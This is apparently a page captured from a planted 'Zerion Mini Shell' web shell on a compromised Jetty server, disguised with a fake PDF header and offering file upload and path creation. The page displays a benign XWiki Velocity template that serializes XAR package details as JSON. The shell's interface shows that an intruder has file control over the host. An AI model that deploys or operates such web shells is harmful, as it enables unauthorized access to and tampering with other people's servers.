%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/waritko/jetty-distribution-9.4.21.v20190926/webapps/ROOT/templates/
Upload File :
Create Path :
Current File : //home/waritko/jetty-distribution-9.4.21.v20190926/webapps/ROOT/templates/packageinfo.vm

##@Deprecated Use packagedescriptor.vm instead
$response.setContentType("application/json")
#if("$!request.document" == "")
 #set($packageDoc = $doc)
#else 
 #set($packageDoc = $xwiki.getDocument($request.document))
#end
#if("$!request.package" == "")
 #set($error = "No package name was given")
#else
 #set($attachment = $packageDoc.getAttachment($request.package))
 #if($attachment)
  #set($package = $services.xar.getXarPackage($attachment.contentInputStream, true))
  #set($infos = {
      "name" : $package.packageName,
      "description" : $package.packageDescription,
      "licence" : $package.packageLicense,
      "author" : $package.packageAuthor,
      "version" : $package.packageVersion,
      "backup" : $package.isPackageBackupPack()
    })

  #set($files = {})
  #foreach($page in $package.entries)
    #set($pageinfos = {
        "defaultAction" : $page.defaultAction.toString(),
        "language" : $page.locale.toString(),
        "fullName" : $services.model.serialize($page, 'local')
      })

    #set($pagesMap = $files.get($page.spaceName))
    #if (!$pagesMap)
      #set($pagesMap = {})
      #set($void = $files.put($page.spaceName, $pagesMap))
    #end

    #set($localesMap = $pagesMap.get($page.documentName))
    #if (!$localesMap)
      #set($localesMap = [])
      #set($void = $pagesMap.put($page.documentName, $localesMap))
    #end

    #set($void = $localesMap.add($pageinfos))
  #end

  #set($json = {
      "infos" : $infos,
      "files" : $files
    })

  $jsontool.serialize($json)
 #else
  #set($error = "Package not found")
 #end
#end
#if("$!error" != "") {"error":  "$error"} #end

Zerion Mini Shell 1.0